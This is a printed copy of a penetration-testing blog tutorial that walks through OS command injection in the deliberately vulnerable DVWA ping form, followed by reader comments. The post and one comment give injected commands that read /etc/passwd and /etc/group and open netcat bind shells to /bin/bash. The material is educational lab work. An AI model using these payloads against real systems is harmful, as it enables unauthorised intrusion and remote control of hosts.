Command Execution DVWA | Penetration Testi...
[Link]
Penetration Testing Lab
EXPLORE THE LABMAYBE YOU WILL FIND SOME INTERESTING THINGS
Command Execution DVWA
19 DEC
One of the most critical vulnerabilities that a penetration tester can come across in a web application
penetration test is to find an application that it will allow him to execute system [Link] rate of
this vulnerability is high because it can allow any unauthorized and malicious user to execute
commands from the web application to the system and to harvest large amount of information or to
compromise the target [Link] this article we will see how we can exploit this vulnerability by using the
Damn Vulnerable Web Application for demonstration.
As we can see in the DVWA we have a free ping utility which allows us to ping any IP address.
([Link]
ping utility DVWA
In order to ensure that the application is vulnerable to command execution we can try a simple
[Link] the IP address field we type 1 | echo [Link] pentestlab appears on the web
application after the submission of the command then we have a command execution vulnerability.
1 of 8
22/09/16 00:59
Command Execution DVWA | Penetration Testi...
[Link]
([Link]
Testing for command execution
The image above shows that the command has executed successfully meaning that the vulnerability
[Link] we can replace echo with different commands in order to start gathering information about
the remote [Link] first thing that we want to check is of course the contents of the current directory
with the ls command.
([Link]
Contents of the current directory
We can also execute multiple commands at one time just by using the & [Link] example we can type
the command 1 | pwd & whoami & ps which it will give us the following result:
2 of 8
22/09/16 00:59
Command Execution DVWA | Penetration Testi...
[Link]
([Link]
Execution of multiple commands
As we can see from the picture above with one command we obtained the following:
Parent working directory (pwd)
Current user that is executing the commands (whoami)
Processes that are running (ps)
We can also use the command 1 | uname -a & users & id & w for discovering the hostname,the users
that are logged in
([Link]
Execution of multiple commands 2
We can use the 1 | cat /etc/group in order to display information about the user groups and its
members on the target system.
3 of 8
22/09/16 00:59
Command Execution DVWA | Penetration Testi...
[Link]
([Link]
user groups
Always in Linux-based operating systems we want to display the contents of /etc/passwd file because
we can find information about the users.
4 of 8
22/09/16 00:59
Command Execution DVWA | Penetration Testi...
[Link]
([Link]
Contents of /etc/passwd
We can also use the following command in order to open a port on the remote host and to connect back
to it with netcat.
1 | netcat -v -e /bin/bash -l -p 31337
([Link]
connect with netcat
5 of 8
22/09/16 00:59
Command Execution DVWA | Penetration Testi...
[Link]
Why the web application is vulnerable?
We can answer this question just by examining the source code.
([Link]
Vulnerable Source Code
From the code above we can see that there is no check for the variable $target and if it matches to an IP
[Link] the code allows an attacker to append commands behind the IP address.
Conclusion
In this post we saw how catastrophic can be this vulnerability as the attacker can directly execute
system [Link] vulnerability exists due to the fact that the web application accepts user input
without sanitizing first and passes that input directly to the operating [Link] information about
the host that an attacker can obtain is large and this threat must be mitigated immediately once it has
discovered.
4 Comments
Posted
by netbiosX on December 19, 2012 in Web Application
6 of
8
22/09/16 00:59
Command Execution DVWA | Penetration Testi...
[Link]
Tags: command execution walkthrough, DVWA, DVWA Walkthrough, netcat, Web Application
Pentest
4 responses to Command Execution DVWA
Pingback: SAG005 Wege zur Command Line
wilson
January 10, 2013 at 1:15 am
just a quick question why do we have to use 1 in the begining of the command i tried using & but
not working..thanks for the post
Reply
fajrinanda
February 22, 2014 at 10:38 am
you must set DVWA security from High to Low.
Reply
Lex
December 8, 2014 at 11:09 am
great tut ! But I have one problem ; the exploit works on DVWA server , but when I try to connect
back to it it says
: netcat: cannot connect to [Link] ([Link]) 4444 [4444]: Connection refused
netcat: unable to connect to address [Link], service 4444
Im running Kali linux, and DVWA is running on my main machine with low security. ( so victim
and attacker : same IP ) Maybe thats the issue , idk. Hope you can help me out here.
Peace
ps ; here are the codes Ive executed ;
in dvwa site ;
[Link]; netcat -v -e /bin/bash -l -p 4444 ,
Ive also tried ; [Link]; ; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe
in terminal :
netcat -v [Link] 4444
Reply
7 of 8
22/09/16 00:59
Command Execution DVWA | Penetration Testi...
[Link]
Create a free website or blog at [Link].
Entries (RSS) and Comments (RSS)
8 of 8
22/09/16 00:59